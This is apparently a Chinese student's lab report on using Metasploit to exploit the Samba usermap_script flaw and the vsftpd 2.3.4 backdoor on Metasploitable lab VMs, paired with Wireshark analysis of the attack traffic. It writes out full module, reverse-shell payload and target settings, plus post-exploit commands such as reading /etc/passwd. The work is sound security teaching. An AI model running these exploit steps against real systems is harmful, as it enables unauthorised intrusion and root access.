20252906 2025-2026-2 《网络攻防实践》第七周作业
一、实践内容
1. 使用 Metasploit 进行 Linux 远程渗透攻击
本次实践主要使用 Metasploit 渗透测试框架,对 Linux 靶机中的 Samba 服务 usermap_script 漏洞进行攻击测试。实验目标是通过漏洞利用获取目标 Linux 靶机的远程访问权限,并进一步验证攻击是否成功。
具体任务是:使用 Metasploit 中的 exploit/multi/samba/usermap_script 攻击模块,对靶机上存在漏洞的 Samba 服务发起远程渗透攻击。该漏洞利用 Samba 服务在处理用户名映射时的安全缺陷,通过构造特殊用户名触发命令执行,从而在目标主机上获得远程 Shell。
实践步骤如下:
-
首先,启动 Metasploit 软件。实验中可以根据个人习惯选择 msfconsole、msfgui 或 msfweb 等方式进入 Metasploit 操作界面。其中,msfconsole 是最常用的命令行方式,便于进行模块搜索、参数设置和攻击执行。
-
进入 Metasploit 后,选择 Samba usermap_script 漏洞对应的攻击模块,即:
-
exploit/multi/samba/usermap_script
-
然后根据实验需要选择合适的 Payload。Payload 可以选择远程 Shell 类型,例如正向连接 Shell 或反向连接 Shell。正向连接是攻击者主动连接靶机开放的端口,反向连接则是靶机主动回连攻击机。在实际实验中,应结合网络连通情况选择合适的方式。
-
接着设置相关攻击参数,包括目标主机地址 RHOST、攻击机地址 LHOST、目标系统类型 TARGET 等。参数配置完成后,执行攻击命令,观察 Metasploit 是否成功建立会话。
-
攻击执行成功后,需要查看是否获得目标靶机的远程 Shell。可以通过输入 whoami、id、uname -a、ifconfig 等命令,查看当前权限、系统信息和网络信息,以判断是否成功获得靶机访问权限,并确认当前用户是否具有 root 权限。
2. 实践作业:攻防对抗实践
本次攻防对抗实践分为攻击方和防守方两个部分。攻击方负责利用 Metasploit 对 Metasploitable 靶机进行漏洞攻击,防守方则负责使用抓包和入侵检测工具对攻击过程进行监听和分析。
攻击方的任务是:使用 Metasploit 框架,结合前期扫描结果,选择 Metasploitable 靶机中存在的典型漏洞进行渗透攻击。例如可以选择 Samba usermap_script 漏洞,也可以选择 vsftpd 2.3.4 后门漏洞等。攻击方需要完成漏洞模块选择、参数配置、Payload 设置、攻击执行以及远程 Shell 获取等步骤。在成功获得远程控制权后,还需要尝试进一步查看系统权限,分析是否能够获得 root 权限。
防守方的任务是:在攻击过程中使用 tcpdump、Wireshark 或 Snort 对网络流量进行监听和记录,保存攻击过程中的数据包文件。之后结合 Wireshark 或 Snort 对流量进行分析,尽可能还原攻击过程。
防守方需要重点分析以下内容:攻击者的 IP 地址、目标靶机的 IP 地址、攻击访问的目标端口、攻击发起时间、攻击利用的具体漏洞类型、攻击过程中是否出现异常字段或特殊连接,以及攻击成功后攻击者在命令行中输入了哪些操作命令。
通过 Wireshark 可以观察攻击连接的建立过程、协议交互内容、异常端口访问以及明文命令信息;通过 Snort 可以检测攻击流量是否触发相关规则告警。最终需要根据抓包结果,对整个攻击过程进行分析和总结。
二、实验目的与原理
本次实验的主要目的是掌握 Metasploit 渗透测试框架的基本使用方法,熟悉渗透攻击模块、攻击载荷 Payload、目标参数配置以及攻击执行的完整流程。通过实验,可以了解 Metasploit 在漏洞验证和渗透测试中的基本作用。
其次,本实验通过利用 Samba 服务 usermap_script 漏洞,使学生理解 Linux 系统远程服务漏洞的利用过程。通过对漏洞模块的配置和执行,可以掌握远程命令执行漏洞的基本攻击思路,并了解攻击成功后如何获得目标主机的远程 Shell。
同时,本实验也要求完成攻防对抗分析。攻击方通过漏洞利用获得靶机权限,防守方则通过 tcpdump、Wireshark、Snort 等工具捕获并分析攻击流量。通过这种方式,可以更直观地理解攻击行为在网络数据包中的表现形式,掌握从流量中提取攻击者 IP、目标 IP、端口、时间、漏洞类型和命令内容的方法。
通过本次实践,可以进一步理解 Linux 系统远程渗透攻击的完整链路,形成从漏洞利用到流量分析,再到安全加固的基本安全防护思路。
Samba 服务 usermap_script 漏洞原理
-
Samba 是 Linux 系统中用于实现 SMB/CIFS 协议的开源服务软件,主要用于 Linux 与 Windows 系统之间的文件共享和打印共享。Samba 服务通常会开放 139 或 445 端口,因此在网络环境中比较常见。
-
本次实验利用的是 Samba 服务的 usermap_script 漏洞,该漏洞编号为 CVE-2007-2447,主要影响 Samba 3.0.20 到 3.0.25rc3 之间的部分版本。
-
该漏洞产生的原因是 Samba 在处理用户名映射脚本时,没有对客户端传入的用户名进行严格的安全过滤。当攻击者在用户名中加入特殊字符和系统命令时,Samba 服务可能会在处理用户名映射的过程中执行这些命令,从而造成远程命令执行漏洞。
-
攻击者利用该漏洞时,不需要提前获得合法账号密码,只需要向目标 Samba 服务发送特制请求,就有可能让目标系统执行攻击者构造的命令。如果攻击载荷设置成功,靶机会与攻击机建立连接,攻击者便可以获得远程 Shell,实现对目标 Linux 主机的访问和控制。
-
因此,该漏洞的本质是由于输入过滤不严格导致的命令注入问题。防御该漏洞的方法主要包括升级 Samba 服务版本、关闭不必要的 Samba 服务、限制 139 和 445 端口访问范围,以及通过防火墙和入侵检测系统监控异常 SMB 流量。
vsftpd 2.3.4 后门漏洞原理
vsftpd 是 Linux 系统中常见的 FTP 服务软件,主要用于文件上传和下载。正常情况下,FTP 服务需要用户通过账号和密码认证后才能访问服务器资源。
vsftpd 2.3.4 后门漏洞是一个比较典型的 FTP 服务后门漏洞。该版本曾被恶意植入后门程序,当攻击者使用带有 '😃'字符的用户名连接 FTP 服务时,就可能触发后门。
漏洞触发后,靶机会在 6200 端口开启一个新的 TCP 监听服务。攻击者随后连接该端口,就可能直接获得目标主机的交互式 Shell,从而实现远程控制。整个过程不需要正常的 FTP 用户认证,因此危害较大。
在流量分析中,该漏洞的特征比较明显。首先可以看到攻击者访问目标主机的 21 端口,并发送带有' 😃' 的异常用户名;随后如果漏洞触发成功,会出现对目标主机 6200 端口的连接请求;连接成功后,攻击者可能会在该 Shell 中输入系统命令。
该漏洞说明,使用存在后门或来源不可信的软件版本会给系统带来严重安全风险。防御措施主要包括使用可信软件源安装服务、及时升级 vsftpd 版本、关闭不必要的 FTP 服务、限制敏感端口访问,并结合 Wireshark 或 Snort 对异常连接行为进行检测。
三、实验步骤与过程
基础实验:使用 Metasploit 进行 Linux 远程渗透攻击
本次实验核心目标为利用 Samba 服务 usermap_script 漏洞,对 Metasploitable_Ubuntu 靶机发起渗透攻击,获取靶机的 root 权限。
实验环境配置
本次实验基于 VMware 虚拟化环境搭建,所有虚拟机处于同一网段,实验前已完成网络连通性校验与基础环境配置,虚拟机角色与 IP 分配如下:
| Kali | Kali Linux | 192.168.200.4 | Metasploit Framework、Wireshark、终端命令行工具 |
|---|---|---|---|
| Metasploitable_Ubuntu | Ubuntu | 192.168.200.5 | Samba 服务 |
| Metasploitable_Linux | Linux | 192.168.200.2 | vsftpd 服务 |
| 配置说明 |
配置 Metasploitable_Ubuntu 时,可以执行:
sudo vim /etc/rc.local
输入密码 msfadmin 后进入文件编辑界面。按 i 进入编辑模式,添加或修改以下内容:
ifconfig eth0 192.168.200.5 netmask 255.255.255.128
route add default gw 192.168.200.2
修改完成后,按 Esc,输入 :wq 保存退出,然后执行:
sudo reboot
重启虚拟机,使配置生效。
如果不想手动修改,也可以重新安装一个 Metasploitable 虚拟机,只要将其网络设置到同一网段即可,系统通常会自动获取 IP 地址。
需要注意的是,老师提供的百度网盘版 Metasploitable_Linux 可能无法正常运行。如果出现问题,可以从 Rapid7 官网重新下载,预计下载时间约 15 分钟。默认用户名和密码均为 msfadmin。
步骤 1:实验环境连通性验证
在 Kali 攻击机终端执行以下命令,验证与靶机的网络连通性,确保攻击链路正常:
ping 192.168.200.5

执行结果显示数据包无丢失、往返时延正常,确认攻击机与靶机网络互通,可开展后续渗透操作。
步骤 2:启动 Metasploit 控制台
在 Kali 终端以 root 权限启动 Metasploit 框架控制台,执行命令:
sudo su
msfconsole

启动完成后,进入 Metasploit 的交互式命令界面,此时终端提示符会显示为:
msf >
步骤 3:搜索并加载攻击模块
在 msfconsole 中输入以下命令,查找与 Samba usermap_script 漏洞相关的渗透模块:
search samba usermap_script
用于在 Metasploit 模块库中搜索对应漏洞的利用模块,方便后续选择并加载使用。

在搜索结果中,找到评级为 excellent 的攻击模块:
exploit/multi/samba/usermap_script
然后使用 use 命令加载该模块:
use exploit/multi/samba/usermap_script
模块加载成功后,命令提示符会变为:
msf exploit(multi/samba/usermap_script) >
步骤 4:选择并配置攻击载荷
接着执行以下命令,查看该攻击模块支持的 Payload 列表:
show payloads
本次实验选择反向连接 Shell 作为攻击载荷,使靶机在攻击成功后主动连接攻击机,从而建立远程 Shell 会话。配置命令如下:
set payload cmd/unix/reverse_netcat

步骤 5:配置渗透攻击核心参数
执行 show options 命令,查看模块与载荷的必填配置项,根据实验环境配置核心参数:
# 配置靶机IP地址(Metasploit 6+版本统一使用RHOSTS复数参数)
set RHOSTS 192.168.200.5
# 配置攻击机监听IP地址,用于接收靶机反向连接
set LHOST 192.168.200.3
配置完成后,再次执行 show options 命令,确认所有必填参数配置无误,无缺失项。

步骤 6:执行渗透攻击
参数校验完成后,执行 exploit 命令发起渗透攻击:
exploit

攻击执行后,控制台显示 Started reverse TCP handler on 192.168.200.3:4444,并成功建立与靶机的会话,进入靶机的交互式命令行 Shell。
步骤 7:攻击结果与权限验证
在获得的 Shell 中执行以下命令,验证攻击效果与获取的系统权限:
# 查看当前操作用户,确认权限等级
whoami
# 查看靶机网络配置,确认目标为Metasploitable_Ubuntu靶机
ifconfig
# 查看当前工作目录
pwd
# 查看靶机目录文件
ls
# 查看这台 Linux 有哪些用户
cat /etc/passwd

执行结果显示,当前用户为 root,成功获得靶机的最高系统权限,网络配置与靶机 IP 192.168.200.5 完全匹配,本次渗透攻击成功完成。
攻防对抗实践
本次实践分为攻击方与防守方两个角色,攻击方利用 vsftpd 漏洞完成靶机控制,防守方通过 Wireshark 完成攻击流量捕获、分析与溯源。
基础信息提取
| 溯源项目 | 详细信息 |
|---|---|
| 攻击者 IP | 192.168.200.4 |
| 靶机 IP | 192.168.200.2 |
| 攻击目标端口 | 初始 FTP 控制端口 21、后门触发端口 6200 |
| 攻击发起时间 | 流量中首次 SYN 请求的时间戳 |
| 利用漏洞 | vsftpd 2.3.4 自带后门漏洞 |
攻击方操作
步骤 1:搜索并加载漏洞攻击模块
在 msfconsole 中执行以下命令,搜索 vsftpd 漏洞对应的攻击模块:
search vsftpd

搜索结果中,定位到 exploit/unix/ftp/vsftpd_234_backdoor 模块,执行 use 命令加载:
use exploit/unix/ftp/vsftpd_234_backdoor
步骤 2:配置攻击载荷与核心参数
执行 show payloads 查看支持的载荷,选择适配的交互载荷并配置核心参数:
# 配置靶机与攻击机
set RHOSTS 192.168.200.2
set LHOST 192.168.200.4
set payload cmd/unix/reverse

同步开启 Wireshark 流量捕获
打开 Wireshark,选择攻击机与靶机通信的虚拟网卡,设置显示过滤规则:
ip.addr == 192.168.200.4 && ip.addr == 192.168.200.2
点击开始捕获,同步记录攻击全流程的网络流量。
执行攻击并完成靶机操作
参数配置无误后,执行 exploit 命令发起攻击:
exploit
攻击成功后,获得靶机的交互式 Shell,执行以下操作完成对靶机的控制:
# 验证权限
whoami
# 查看靶机信息
uname -a
# 进入用户目录创建测试文件
cd /home
mkdir attack_verify
echo "vsftpd attack success" > attack_log.txt
# 查看文件创建结果
ls

攻击过程流量还原
-
会话建立阶段(No. 816-818):攻击机向靶机 21 端口发起 TCP 三次握手,建立 FTP 控制会话;
-
漏洞触发阶段(No. 821):攻击机发送 FTP 用户名 USER xxx:),用户名末尾的 😃 特殊字符触发后门程序,靶机在 6200 端口开启 TCP 监听;
-
控制通道建立(No. 825-827):攻击机向靶机 6200 端口发起 TCP 连接,成功建立会话,获得靶机 Shell 权限;
-
恶意操作阶段(tcp.stream eq 13/14,具体因人而异):右键选中攻击会话数据包,选择 Follow → TCP Stream,可完整还原攻击者在 Shell 中执行的所有命令,包括权限验证、目录切换、文件创建等操作。
![3777327-20260421181830448-2104280246]()
![3777327-20260421181833678-1128365299]()
攻击特征识别 -
漏洞触发特征:在 FTP 登录请求过程中,用户名字段中出现了 😃 特殊字符组合,这是触发 vsftpd 2.3.4 后门漏洞的典型特征。
-
异常网络行为:漏洞触发后,靶机在非常规端口 6200 上开启监听,并与攻击主机建立 TCP 连接,说明该端口并非正常业务端口,而是由后门程序异常开启。
-
协议异常:在 FTP 控制连接建立之后,后续流量中出现了大量 Linux 系统命令内容,这些数据已经不符合正常 FTP 协议交互过程,说明攻击者可能已经通过后门获得了远程 Shell,并在目标主机上执行命令。
四、实验中遇到的问题及解决方法
问题:
在配置 Metasploit 参数时,最开始将 LHOST 和 RHOSTS 的含义混淆,导致执行攻击后虽然模块正常运行,但没有成功获得 Shell 会话。
原因:
RHOSTS 应该设置为靶机 IP,用来指定攻击目标;而 LHOST 应该设置为攻击机 IP,用来接收靶机的反向连接。如果 LHOST 配置错误,靶机即使成功触发漏洞,也无法正确回连攻击机,因此不会生成有效会话。
解决方法:
重新使用 ifconfig 查看攻击机 Kali 的 IP 地址,确认攻击机地址为 192.168.200.4,靶机地址为 192.168.200.2。随后重新配置参数:
set RHOSTS 192.168.200.2
set LHOST 192.168.200.4
配置完成后再次执行 show options 检查参数是否正确,确认无误后重新运行攻击模块,最终成功建立远程 Shell 会话。
五、实验总结
通过本次实验,我完成了使用 Metasploit 对 Linux 靶机进行远程渗透攻击的基本流程,掌握了漏洞模块搜索、模块加载、Payload 选择、参数配置以及攻击执行等操作步骤。实验中分别利用了 Samba usermap_script 漏洞和 vsftpd 2.3.4 后门漏洞,对靶机进行了渗透测试,并成功获得了远程 Shell 权限。
本次实验让我更加直观地理解了远程漏洞利用的完整过程,也认识到参数配置、网络连通性和服务版本都会直接影响攻击结果。通过排查问题,我进一步区分了 RHOSTS 和 LHOST 的作用,也加深了对反向 Shell 连接机制的理解。整体来看,本次实践不仅提高了我对 Metasploit 工具的使用能力,也让我对 Linux 服务漏洞、攻击流量分析和基础安全防护有了更清晰的认识。



浙公网安备 33010602011771号